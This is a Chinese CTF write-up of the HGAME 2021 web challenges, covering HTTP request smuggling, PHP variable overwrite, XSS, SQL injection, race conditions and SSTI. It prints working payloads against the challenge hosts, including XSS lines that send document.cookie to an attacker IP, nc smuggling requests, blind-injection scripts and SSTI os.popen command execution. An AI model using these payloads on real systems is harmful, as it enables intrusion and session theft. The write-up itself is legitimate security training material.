image-20210321213642295

emmm,咋说呢,很久没搞ctf了,最近菜了很多趴(指老地方ctf冲冲冲讲解WP语无伦次。。。)然后这次有幸把web给ak了,就简单做一下记录吧。另外,命运这玩意确实令人挺难受的。

HGAMECTF2021 部分WP


WEEK1:


WEB:

Hitchhiking_in_the_Galaxy (100):

打开题目地址 (http://hitchhiker42.0727.site:42420/) 后在源码处有个可疑的网页:

image-20210223145337218

burp 跟进这个页面,得到如下图:

image-20210223145612550

这里显示 405 ,那就换 POST 请求方法试试:

image-20210223145627358

emmm,说是必须用另一个浏览器,那么再换呗:

image-20210223145702195

OK,这里再改下 referer 试试:

image-20210223150110777

必须得本地访问,那就改下 x-forwarded-for 就行了:

image-20210223150142452

还挺脑洞的,不过都是老套路一把梭辽。

最后 flag

hgame{s3Cret_0f_HitCHhiking_in_the_GAl@xy_i5_dOnT_p@nic!}

watermelon (100):

emmm,一个合成大西瓜的小游戏,不过现在题目环境炸了 (http://watermelon.ryen.xyz:800/) ,这里就直接说趴,flagjs 里边,当然你玩够了 2000 分也能得到 flag

image-20210223150751489

直接解码即可。不得不说,这题目还蛮有趣的噢。

image-20210223150931679

最后 flag

hgame{do_you_know_cocos_game?}

宝藏走私者 (50):

这题能出算是有些新颖了,考点是 HTTP请求走私 趴。

题目链接 (http://thief.0727.site/) ,emmm不过题目挂了。

考点的解法具体参考这里吧 (https://paper.seebug.org/1048/) 。下边是部分搬运摘抄内容。

简单来说即是关于 HTTP1.1 协议特性多加的一些新东西,比如 Keep-AlivePipeline 。其中 Keep-Alive 是为了能够重用当前的 TCP 连接避免在刷新页面之类操作时依然加载形如 js、css、图片 等资源,减少服务器开销(这在 HTTP1.1 是默认开启的)。而 Pipeline 则是允许客户端像流水线一样发送自己的 HTTP请求 ,而不需要等待服务器响应,服务器在接收到请求后,遵循先入先出机制,将请求和相应严格对应起来,再将相应发送给客户端(浏览器默认不启用 Pipeline ,服务器都提供对 Pipeline 的支持)。

一般来说,为了提升浏览速度,都会使用CDN加速服务,最简单的加速服务,就是在 源站服务器 的前面加上一个具有缓存功能的 反向代理服务器 ,用户在请求某些静态资源时,直接从代理服务器就可以获取到了。而 反向代理服务器 与后端的 源站服务器 之间会重用 TCP 连接。

当向 代理服务器 发送一个比较模糊的 HTTP 请求时,由于两者服务器实现方法不同,可能代理服务器认为这是一个 HTTP 请求,但在转发给后端的 源站服务器 时,源站服务器 经过解析,只认为其中的一部分为正常请求,剩下的一部分就算是走私的请求。由于 代理服务器源站服务器 是进行重用的 TCP 连接的,这一走私的部分就很有可能由于 Pipeline 的作用追加到下一部分请求内容的前边,这也就造成了走私(类似于 CRLF 形式)。

可以举几个简单例子:

  • Content-Length不为0的请求:

    比如构造:

    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 44\r\n
    
    GET / secret HTTP/1.1\r\n
    Host: example.com\r\n
    \r\n

    代理服务器 收到该请求时,通过读取 content-length 判断这是一个完整的请求,然后转发给 源站服务器 ,由于 Pipeline 的存在,源站服务器 就会认为是收到了两个请求,分别是:

    第一个
    GET / HTTP/1.1\r\n
    Host: example.com\r\n
    
    第二个
    GET / secret HTTP/1.1\r\n
    Host: example.com\r\n

    这样就导致了请求走私。

  • Content-Length <-> Content-Length:

    代理服务器 按照第一个 content-length 的值对请求进行处理,而 源站服务器 按照第二个 content-length 的值进行处理,可以构造以下的特殊请求:

    POST / HTTP/1.1\r\n
    Host: example.com\r\n
    Content-Length: 8\r\n
    Content-Length: 7\r\n
    
    12345\r\n
    a

    这时 代理服务器 读取到的数据包长度为 8 ,然后将整个数据包原封不动转发给 源站服务器 ,可 源站服务器 则读取到数据包长度为 7 ,这时后边的 a 就会被 源站服务器 当作是下一个请求的一部分。若此时有一个正常用户对服务器进行请求:

    GET /index.html HTTP/1.1\r\n
    Host: example.com\r\n

    再由于 代理服务器源站服务器 之间会重用 TCP 连接,那么此时 源站服务器 接收完毕后实际处理的请求为:

    aGET /index.html HTTP/1.1\r\n
    Host: example.com\r\n

    这就相当于进行了一次 HTTP 走私攻击了。

  • Content-Length <-> Transfer-Encoding:

    代理服务器 只处理 content-length ,而 源站服务器 忽略掉 content-length ,处理 transfer-encoding 这一请求头,那么可以造成 HTTP 走私攻击。

    首先是 chunk 传输格式:

    [chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

    比如构造一个如下的数据包:

    POST / HTTP/1.1\r\n
    Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
    Connection: keep-alive\r\n
    Content-Length: 6\r\n
    Transfer-Encoding: chunked\r\n
    \r\n
    0\r\n
    \r\n
    G

    连续发送几次后,G 就会附着在下一次请求的开头,也就是形成了形如 GPOST / HTTP/1.1 .... 的请求内容。

    这时因为 代理服务器 处理了content-length,由于具体长度是 6 ,就会将以下的数据包发给 源站服务器

    0\r\n
    \r\n
    G

    源站服务器 则会处理transfer-encoding ,当读取到 0\r\n\r\n 时,就认为已经读取到结尾了,剩下的 G 就会被留在缓冲区中,作为下一次请求的内容了。

  • Transfer-Encoding <-> Content-Length:

    代理服务器 处理transfer-encoding源站服务器 处理content-length 时,可以构造如下内容:

    POST / HTTP/1.1\r\n
    Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
    Content-Length: 4\r\n
    Transfer-Encoding: chunked\r\n
    \r\n
    12\r\n
    GPOST / HTTP/1.1\r\n
    \r\n
    0\r\n
    \r\n

    此时由于 代理服务器 处理transfer-encoding ,当其读取到 0\r\n\r\n 时就认为是读取完毕了,而会将整个数据包发给 源站服务器 。而 源站服务器 处理content-length ,那么就会把整个数据包当作是两个请求来看待:

    第一个请求
    POST / HTTP/1.1\r\n
    Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
    Content-Length: 4\r\n
    Transfer-Encoding: chunked\r\n
    \r\n
    12\r\n
    
    第二个请求
    GPOST / HTTP/1.1\r\n
    \r\n
    0\r\n
    \r\n

    此时也就会报错。

  • Transfer-Encoding <-> Transfer-Encoding:

    代理服务器源站服务器 都处理transfer-encoding ,此时可以对发送请求包中的transfer-encoding进行某种混淆操作,从而使其中一个服务器不处理transfer-encoding请求头(从某种意义上还是 CL-TE 或者 TE-CL)。

    比如构造以下内容:

    POST / HTTP/1.1\r\n
    Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
    Content-length: 4\r\n
    Transfer-Encoding: chunked\r\n
    Transfer-encoding: cow\r\n
    \r\n
    5c\r\n
    GPOST / HTTP/1.1\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 15\r\n
    \r\n
    x=1\r\n
    0\r\n
    \r\n

    此时从 代理服务器 传给 源站服务器 后再通过content-lenght的解析能得到两个请求:

    第一个请求
    POST / HTTP/1.1\r\n
    Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
    Content-length: 4\r\n
    Transfer-Encoding: chunked\r\n
    Transfer-encoding: cow\r\n
    \r\n
    5c\r\n
    
    第二个请求
    GPOST / HTTP/1.1\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 15\r\n
    \r\n
    x=1\r\n
    0\r\n
    \r\n

    同理还会报错。

题目大概意思是需要 本地 访问 /serect ,通过查看返回头,可知类型为 Content-Length <-> Transfer-Encoding 型,构造一下payload:

printf 'GET / HTTP/1.1\r\n'\
'Host: thief.0727.site\r\n'\
'Content-Length: 77\r\n'\
'Transfer-Encoding: chunked\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /secret HTTP/1.1\r\n'\
'Host: thief.0727.site\r\n'\
'Client-IP: 127.0.0.1\r\n'\
'foo:'\
| nc thief.0727.site 80

发两次就行了。

代理服务器 处理整个数据包,将其发送给 源站服务器源站服务器 会当作两个包来处理:

第一个请求
GET / HTTP/1.1\r\n
Host: thief.0727.site\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n

第二个请求
GET /secret HTTP/1.1\r\n
Host: thief.0727.site\r\n
Client-IP: 127.0.0.1\r\n
foo:

最后 flag

hgame{HtTp+sMUg9l1nG^i5~r3al1y-d4nG3r0Us!}

智商检测鸡 (150):

这个题目是有点意思了,只是。。 scipy 模块真的好大啊。

题目地址 (http://r4u.top:5000/)

image-20210223184745614

这里显而易见,需要答对题目 100 次就能得到 flag 了。

直接上脚本吧,没啥好说:

import requests
import re
from scipy import integrate


s = requests.Session()
s.get("http://r4u.top:5000/")


def f(x, a, b):
    return a * x + b


for _ in range(100):
    res = s.get("http://r4u.top:5000/api/getQuestion")
    text = res.text
    nums = re.findall(r"\d+", text)
    v, _ = integrate.quad(
        f, int("-"+nums[1]), int(nums[2]), args=(int(nums[3]), int(nums[4])))
    v = round(v, 2)
    res = s.post("http://r4u.top:5000/api/verify", json={"answer": v})

print(s.get("http://r4u.top:5000/api/getFlag").text)

执行结果:

image-20210223190245120

最后 flag

hgame{3very0ne_H4tes_Math}

走私者的愤怒 (150):

和上边 宝藏走私者 题目考点相同,题目地址 (http://police.liki.link/)

emmm,题目环境关了,这里题目有个提示,还加粗了:“我最讨厌顺风车,我将带来我的愤怒”。显然是考搭顺风车咯,直接上 burp 搭顺风车就好了:

image-20210223190710572

然后拿到了 flag

image-20210223190741453

其实和上边那题也是差不多同样的 payload,只是 /serect 得放在前面,**/** 放在后边并且带上 client-ip:127.0.0.1 就行了。当然搭顺风车也不是不行噢。

最后 flag

hgame{Fe31^tHe~4N9eR+oF_5mu9g13r!!}

WEEK2:


WEB:

LazyDogR4U (150):

这题没啥好说的趴,题目地址 (http://34bebbfb03.lazy.r4u.top/) ,直接从网页看不出来有啥蹊跷,直接上扫描:

from ctfbox import *
back_scan("http://34bebbfb03.lazy.r4u.top/")

得到结果:

http://34bebbfb03.lazy.r4u.top/index.php
http://34bebbfb03.lazy.r4u.top/www.zip
http://34bebbfb03.lazy.r4u.top/flag.php

显然这就是一个备份文件泄露的代码审计了,如果直接访问 flag.php 肯定是不能得到 flag 的,这里题目环境关了。

直接审计源码,各个文件的关键内容如下:

index.php

<?php
session_start();

require_once "lazy.php";

if(isset($_SESSION['username'])){
    header("Location: flag.php");
    exit();
}else{
    if(isset($username) && isset($password)){
        if((new User())->login($username, $password)){
            header("Location: flag.php");
            exit();
        }else{
            echo "<script>alert('食人的魔鬼尝试着向答案进发。')</script>";
        }
    }
}


?>

lazy.php

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}


// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
    require_once $class_name . ".php";
}
spl_autoload_register('auto');

User.php

<?php


class User
{

    function login($username, $password){
        if(session_status() == 1){
            session_start();
        }
        $userList = $this->getUsersList();
        if(array_key_exists($username, $userList)){
            if(md5($password) == $userList[$username]['pass_md5']){
                $_SESSION['username'] = $username;
                return true;
            }else{
                return false;
            }
        }
        return false;
    }

    function logout(){
        unset($_SESSION['username']);
        session_destroy();
    }

    private function getUsersList(){
        return Config::getAllUsers();
    }
}

flag.php

<?php
session_start();

require_once 'lazy.php';


if(!isset($_SESSION['username'])){
    die('您配吗?');
}
?>
 <?php

    if($_SESSION['username'] === 'admin'){
        echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
        echo "<h3 style='color: white'>$flag</h3>";
    }else{
        if($submit == "getflag"){
            echo "<h3 style='color: white'>{$_SESSION['username']}接近了问题的终点</h3>";
        }else{
            echo "<h3 style='color: white'>篡位者占领了神圣的页面</h3>";
        }
    }
        ?>

Config.php

<?php
class Config{

    private static array $conf;
    /**
     * @var array|false
     */

    static function init(){
        self::$conf = parse_ini_file('config.ini', true);
    }

    static function getItem($section, $key){
        return self::$conf[$section][$key];
    }

    static function getAllUsers(): array
    {
        $users = self::$conf;
        unset($users['global']);
        return $users;
    }
}

Config::init();

config.ini

[global]
debug = true

[admin]
username = admin
pass_md5 = b02d455009d3cf71951ba28058b2e615

[testuser]
username = testuser
pass_md5 = 0e114902927253523756713132279690

emmm,咋说呢,显而易见,要想得到 flag ,需要得到 admin$_SESSION[‘username’]

if($_SESSION['username'] === 'admin'){
        echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
        echo "<h3 style='color: white'>$flag</h3>";
    }

其中,对于用户登录验证的关键代码如下:

class User
{

    function login($username, $password){
        if(session_status() == 1){
            session_start();
        }
        $userList = $this->getUsersList();
        if(array_key_exists($username, $userList)){
            if(md5($password) == $userList[$username]['pass_md5']){
                $_SESSION['username'] = $username;
                return true;
            }else{
                return false;
            }
        }
        return false;
    }
    private function getUsersList(){
        return Config::getAllUsers();
    }
}

跟进 $this->getUsersListConfig::getAllUsers()

<?php
class Config{

    private static array $conf;
    /**
     * @var array|false
     */

    static function init(){
        self::$conf = parse_ini_file('config.ini', true);
    }

    static function getItem($section, $key){
        return self::$conf[$section][$key];
    }

    static function getAllUsers(): array
    {
        $users = self::$conf;
        unset($users['global']);
        return $users;
    }
}

Config::init();

这里会从 config.ini 文件中去读取内容,然后将判断登录的 用户名 是否存在 config.ini 文件中,以及 密码 是否正确(判断md5是否匹配)。按理说现在已知了 config.ini 文件的关键内容:

[admin]
username = admin
pass_md5 = b02d455009d3cf71951ba28058b2e615

然而主要问题还是这个 md5 解密是不出来的。

这里得看到 lazy.php 文件中的一个漏洞点:

$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}

由于过滤方法仅仅是将过滤的黑名单内容简单的替换成空,那么就可以用 双写 来绕过了。这样用 GET 或者 POST 的请求参数实际上就可以改变 $_SESSION[‘username’] 的值了。

直接上最后 payload 趴:

?_SESSESSIONSION[username]=admin

用这个作为 GET 参数去访问 index.php ,然后就会自动跳转到 flag.php 页面,就能得到 flag 了:

image-20210223204101712

最后 flag

hgame{r4u_15~@-lazY-D0g}

Post to zuckonit (250):

呃。。。 这题有点搞人,不过总的来说还是很简单的。题目地址 (http://zuckonit.0727.site:7654/)

打开题目:

image-20210223204516407

显然这属于 留言板XSS 了,这里可以将内容发布到留言板中,然后再提交给 bot 看。

如果打开 Flag 的链接,能得到以下内容:

image-20210223204636469

那么就是要拿到 cookie 了,老套路。

只是这里会对留言的内容进行一些过滤,比如 <script> 这个是用不了了,并且如果存在 on* 会将其前边和后边的内容给倒转,比如当输入:

<img src=''onerror=alert(1)>

得到:

image-20210223204901449

不过问题不大趴,这里稍微的改下顺序啥的就行了,比如这里用一个简单的延迟0.1秒后执行的XSSpayload

window.setTimeout(go, 100);function go(){location.href='http://xxx.xxx.xxx.xxx:3346/'+document.cookie;}

然后将其给 base64 了,再构造成如下 payload

<img src=''onerror=eval(atob('[base64payload]'))>

就行了。别忘了倒转一下:

>/"))'=03Oll2av92YuQnbl1Wdj9GZrcyL2QzMzoTdcbafedcbafedcbafedcbaAHd0h2J9YWZyhmLu9Wa0F2Yvx2epgybnBibvlGdj5WdmtTKwADMwEDIs82ZoQXdvVWbpRFdlNnL39GZul2d'(bota(lave"=rorreon''=crs/gmi<
<!-- IP 已经进行处理了反正大概就这个意思咯

这里可以用 nc升级版socat 进行监听:

socat - tcp-l:3346,reuseaddr,fork

然后把 payload 给打上:

image-20210223221929104

emmm这里就触发了 XSS 了,然后得爆破一下验证码以便提交给 bot

image-20210223222056680

直接上脚本趴:

from ctfbox import *

if __name__ == '__main__':
    try:
        while True:
            g = input("> ")
            print(hashAuth(
                startIndex=0,
                endIndex=6,
                answer=g,
                maxRange=99999999
            ))

    except KeyboardInterrupt:
        print("bye")
        exit()
    except:
        pass

提交之后就能得到 token 了:

image-20210223222430252

之后就直接带上 token 去访问 flag 就行了:

image-20210223222812927

最后flag

hgame{X5s_t0_GEt_@dm1n's_cOokies.}

200OK!! (200):

这题吧,非常的简单。就可能前边会有些脑洞吧。题目地址 (https://200ok.liki.link/)

打开题目:

image-20210223223515304

点击 Reload 就会得到不一样的情景:

image-20210223223636966

通过 network 可以看到每次请求都会带上 status 的标头,当 status 内容不一样时回显的内容就不一样。

image-20210223223912880

image-20210223223936092

emmm,现在是脑洞时刻。简单说这里是存在 请求头注入 的。不过过滤了蛮多的东西。这里直接上 payload 趴,回显注入没啥好说的:

# 猜解当前字段数
Status: 7'order/**/by/**/1;#

image-20210223225010109

这里得到字段数为 1

# 联合查询表名
Status: -7'ununionion/**/selselectect/**/table_name/**/frfromom/**/information_schema.tables/**/whwhereere/**/table_schema=database()/**/limit/**/1;#

image-20210223225113289

这里得到表名为 f1111111144444444444g

# 联合查询字段名
Status: -7'ununionion/**/selselectect/**/column_name/**/frfromom/**/information_schema.columns/**/whwhereere/**/table_name='f1111111144444444444g'/**/limit/**/1;#

image-20210223225232005

这里得到字段名为 ffffff14gggggg ,那么最后只需要查记录就好了。

# 查flag记录
Status: -7'ununionion/**/selselectect/**/ffffff14gggggg/**/frfromom/**/f1111111144444444444g/**/limit/**/1;#

image-20210223225355816

最后得到了 flag

最后flag

hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

Liki的生日礼物 (200):

这题吧,老商店套路了。题目地址 (https://birthday.liki.link/)

打开题目得到一个简单粗暴的 登录注册

image-20210223225648395

这里不妨直接随便注册一个账号,然后登录进去:

image-20210223225801050

显然是一个满足一定条件购买 flag 了,不过这里需要得到 52 张兑换券,用户余额仅有 2000 ,兑换券的单价为 40 ,这必然是不够的。

再看一下前端代码:

function login() {
    $.post("/API/?m=login",
        {
            name: $("#name").val(),
            password: $("#password").val()
        },
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data)
            } else if(message.status === "success"){
                location.href="shop.html"
            }
        }
    );
}

function register() {
    $.post("/API/?m=register",
        {
            name: $("#name").val(),
            password: $("#password").val()
        },
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data);
            } else if (message.status === "success") {
                alert(message.data);
                location.href = "index.html";
            }
        }
    );
}


function getinfo() {
    $.get("/API/?m=getinfo",
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                location.href = "index.html"
            }
            $("#money").text(message.data['money'])
            $("#num").text(message.data['num'])
        }
    );
}

function buy() {
    $.post("/API/?m=buy",
        data = $("#buy").serialize()  ,
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data)
            } else {
                alert("兑换成功");
                getinfo();
            }
        },
    );
}


function logout() {
    $.get("/API/?m=logout",
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "success") {
                alert(message.data);
                location.href = "index.html";
            }
        }
    );
}

function getflag() {
    $.get("/API/?m=getflag",
        function (data, status) {
            var message = JSON.parse(data)
            alert(message.data)
        }
    );
}

这里显然是考 条件竞争 了,想都不用想了。因为大数溢出之类的是没啥的用的啦:

image-20210223230555355

那就 条件竞争 呗。直接用 python 写个多线程脚本去跑一下完事了。或者用 burp 多线程跑一下也行。

。。。反正我严重怀疑我的 burp 有大问题,没跑成功,直接用 python 来搞趴:

from requests import session
from threading import Thread

x = 0
s = session()

class get(Thread):

    def run(self):
        global x
        while x < 200:
            x += 1
            s.post("https://birthday.liki.link/API/?m=buy",cookies={"PHPSESSID":"3388m3j1h2nrhqi9u67h9mm0oi"},data={"amount":"5"})


if __name__ == '__main__':
    t = [get() for i in range(20)]
    for each in t:
        each.setDaemon(daemonic=True)
        each.start()
    for each in t:
        each.join()

那么跑完后刷新一下,兑换券就到手了:

image-20210223232515682

最后再兑换 flag 趴:

image-20210223232545679

最后flag

hgame{L0ck_1s_TH3_S0lllut!on!!!}

WEEK3:


WEB:

Liki-Jail (300):

咋说呢,一个过滤蛮多东西的盲注趴。题目地址 (https://jailbreak.liki.link/)

打开页面是这样的:

image-20210223234833035

没有啥特别之处。

查看网页源码可以看到会有 usernamepassword 的参数传给 login.php

image-20210223235722929

当向 login.php 传入:

username=admin'&password=admin'

得到:

image-20210223235811533

如果传入:

username=admin&password=admin'

得到:

image-20210223235840644

盲猜 sql 语句大概是这样的:

select * from xxx where username = 'xxx' and password = 'xxxx'

并且看起来是过滤了 了。

emmm,可能算是经验之谈趴,这里我直接传入:

username=admin\&password=^if(1,sleep(10),1)#

好家伙,给卡住了:

image-20210223235528758

其实上边语句合起来也就是:

select * from xxx where username = 'admin\' and password = '^if(1,sleep(10),1)#'

此时,usernmae = 'admin\' and password = 'password 的内容就被逃逸出来啦。

然后这题过滤蛮多的,比如 空格 = ; 啥的都被过滤了,反正是见招拆招就行了。

直接上脚本趴:

import requests
from time import time

target = "https://jailbreak.liki.link/login.php"

p1 = "/**/^if((select((substr(lpad(bin(ord(substr(user(),%d,1))),7,0x30),%d,1)))),sleep(.25),0)#"

p1 = "/**/^if((select((substr(lpad(bin(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema/**/regexp/**/0x7765656B3373716C69)),%d,1))),7,0x30),%d,1)))),sleep(.25),0)#"

p1 = "/**/^if((select((substr(lpad(bin(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name/**/regexp/**/0x7535657273)),%d,1))),7,0x30),%d,1)))),sleep(.25),0)#"

p1 = "/**/^if((select((substr(lpad(bin(ord(substr((select(group_concat(`usern@me`,0x3a,`p@ssword`))from(u5ers)),%d,1))),7,0x30),%d,1)))),sleep(.25),0)#"

if __name__ == '__main__':
    i, j = 0, ""
    result = ""
    while True:
        i += 1
        j = ""
        
        for bit in range(1, 8):
            t1 = time()
            get = requests.post(url = target,data={"username":"admin\\","password":p1%(i,bit)})
            #print(get.text)
            t2 = time()
            if (t2 - t1 >= .25):
                j += '1'
            else:
                j += '0'
            print(j)
    # print(j)

        if (j == '0000000'):
            break
        else:
            result += chr(int(j, 2))
            print(result)

    print(("Result:", result))

然后就是一路跑跑跑了:

image-20210224000458356

总之吧,一点都不难的,考的应该是对 sql 盲注语句和函数的熟悉和一点点小脑洞吧。

最后用盲注出来的用户信息登录就好啦:

image-20210224000625832

最后flag

hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets}

Forgetful (300):

终于见到有点趣味的题目啦,题目地址 (https://todolist.liki.link/)

打开题目,简单粗暴的登录界面:

image-20210224001557540

随便注册一个账号,然后登录。这里有个 添加功能

image-20210224001657740

查看 NETWORK 根据返回头得知这大概率是一个 python3.6.9flask

image-20210224001756512

那么还是老套路,这个应该是一个关于 ssti 的考点了。

添加一个用来探测的内容:

image-20210224001929322

当进行 查看操作 时,结果被计算出来啦:

image-20210224001954707

OK。行吧。一把梭上 sstipayload 就行了:

{{"".__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('whoami').read()")}}

得到结果:

image-20210224002154363

那么就是读 flag 啦,这里不能够直接 cat /flag,像一些平常的比如 fmt rev xxd splain 等等都被 ban 了 。那就用别的招式呗,给个url趴(https://gtfobins.github.io/#+file%20read)。

这里直接用 base64 就好啦:

{{"".__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('base64 /flag').read()")}}

image-20210224004050157

解码即可得到 flag

image-20210224004116850

最后flag

hgame{h0w_4bou7+L3arn!ng~PythOn^Now?}

Post to zuckonit2.0 (50):

这题。。是由源码的啊!解题的时候没注意。。黑盒搞了一天,太可恶了。题目地址 (http://zuckonit-2.0727.site:5000/)

这里得到源码提示:

image-20210224004846915

主要得到一个 app.py 文件:

@app.route('/')
def home():
    response = make_response(render_template("index.html"))
    response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
    return response


@app.route('/preview')
def preview():
    if session.get('substr') and session.get('replacement'):
        substr = session['substr']
        replacement = session['replacement']
    else:
        substr = ""
        replacement = ""
    response = make_response(
        render_template("preview.html", substr=substr, replacement=replacement))
    return response


@app.route('/send', methods=['POST'])
def send():
    if request.form.get('content'):
        content = escape_index(request.form['content'])
        if session.get('contents'):
            content_list = session['contents']
            content_list.append(content)
        else:
            content_list = [content]
        session['contents'] = content_list
        return "post has been sent."
    else:
        return "WELCOME TO HGAME 2021 :)"


@app.route('/replace', methods=["POST"])
def replace():
    if request.form.get('substr') and request.form.get('replacement'):
        session['substr'] = escape_replace(request.form['substr'])
        session['replacement'] = escape_replace(request.form['replacement'])
        return "replace success"
    else:
        return "There is no content to replace any more"


@app.route('/contents', methods=["GET"])
def get_contents():
    if session.get('contents'):
        content_list = jsonify(session['contents'])
    else:
        content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
                               'Maybe it is nearly done now.</p>',
                               '<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
                               'And I add some new features to this editor, maybe you can take a try. '
                               'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
                               '<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
                               '<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
                               'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
                               '<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
                               'It really astonished me. Something flashed me.</p>')
    return content_list


@app.route('/code', methods=["GET"])
def get_code():
    if session.get('code'):
        return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
    else:
        code = create_code()
        session['code'] = code
        return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')


@app.route('/flag')
def show_flag():
    if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
        return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
    else:
        return "Only admin can get the flag, your token shows that you're not admin!"


@app.route('/clear')
def clear_session():
    session['contents'] = []
    return "ALL contents are cleared."


def escape_index(original):
    content = original
    content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
    if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
        return content_iframe
    else:
        content = re.sub(r"<*/?(.*?)>?", r"\1", content)
        return content


def escape_replace(original):
    content = original
    content = re.sub("[<>]", "", content)
    return content


def create_code():
    hashobj = hashlib.md5()
    hashobj.update(bytes(str(time.time()), encoding='utf-8'))
    code_hash = hashobj.hexdigest()[:6]
    return code_hash

可以看到相较于 Post to zuckonit 在留言板页面,也就是 / 加上了较为严格的 CSP。不过也多了一个功能,那就是字符替换:

image-20210224005038357

比如这里将 a 替换成 1 ,可以看到多出了一个 /preview 的页面:

image-20210224005326140

image-20210224005339757

再看这个源码,可知留言板现在只允许 <iframe src='大小写字母和/'{1,8}> 这个标签,其他的一律将 <** 和 **>ban 了。那么就显而易见了,这个题目的意思是通过 <iframe> 标签加载 /preview 页面以便触发没有 CSP 保护的 preview 页面的 XSS

不过这里的源码会将替换字符中的 <** 和 **>ban 了。

def escape_replace(original):
    content = original
    content = re.sub("[<>]", "", content)
    return content

这里可以看一下 /preview 页面的代码:

image-20210224005555983

其中 a1 是被替换内容和替换内容,都被加上了双引号。这里不妨可以用 unicode 进行绕过,也就是让 js 的双引号先帮忙把 unicode 字符给解码出来。

比如这样:

image-20210224005837691

此时打开 /preview 页面,得到了一个弹窗!

image-20210224005906164

也就是说 XSS 被成功执行了。由于冰没有对 XSS 进行过多的过滤,只需要一个简单的 payload 即可:

\u003cimg src=''onerror=fetch('//ip:port/'+document.cookie)\u003e

这里以替换 a 为例:

image-20210224010550384

于是就接收到了 XSS 内容:

image-20210224010628396

